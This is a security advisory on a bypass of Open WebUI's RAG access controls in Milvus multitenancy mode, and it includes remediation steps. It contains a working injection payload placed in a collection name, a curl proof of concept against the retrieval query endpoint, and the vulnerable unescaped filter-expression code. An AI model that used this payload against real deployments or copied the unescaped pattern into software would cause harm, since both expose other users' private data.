GHSA-p5cp-r7rg-qpxcMediumCVSS 6.5

Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode

Published
June 17, 2026
Last Modified
June 17, 2026

🔗 CVE IDs covered (1)

📋 Description

RAG ACL Bypass in Milvus Multitenancy Mode

Summary

This is a bypass of the fix for:

  • GHSA-h36f-rqpx-j5wx
  • CVE-2026-44560
  • "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"

Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping.

An authenticated non-admin user can query:

x' or resource_id != '' or resource_id == 'x

This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:

resource_id == 'x' or resource_id != '' or resource_id == 'x'

That returns private knowledge-base chunks belonging to other users.

Affected Configuration

Tested on:

Open WebUI: v0.9.5, commit 3660bc00f
VECTOR_DB=milvus
ENABLE_MILVUS_MULTITENANCY_MODE=true

This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.

Impact

An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.

Root Cause

ACL permits unknown collection names:

# backend/open_webui/retrieval/utils.py
elif not await Knowledges.get_knowledge_by_id(name):
    validated.add(name)

Milvus multitenancy then treats the same name as resource_id and builds unsafe expressions:

# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py
expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"

Affected paths include:

POST /api/v1/retrieval/query/collection
POST /api/v1/retrieval/query/doc

PoC

Request:

curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  --data-binary @- <<'JSON'
{
  "collection_names": [
    "x' or resource_id != '' or resource_id == 'x"
  ],
  "query": "anything",
  "k": 10,
  "hybrid": false
}
JSON

Actual result: private chunks from other users' knowledge collections are returned.

Expected result: request should be rejected with 403 or return no unauthorized content.

Remediation

  1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.
  2. Escape or parameterize Milvus expression values before building filters.
  3. Reject collection names containing quotes/control characters unless they match a known internal format.
  4. Add a regression test for this payload in Milvus multitenancy mode:
x' or resource_id != '' or resource_id == 'x

🎯 Affected products1

  • pip/open-webui:<= 0.9.5

🔗 References (2)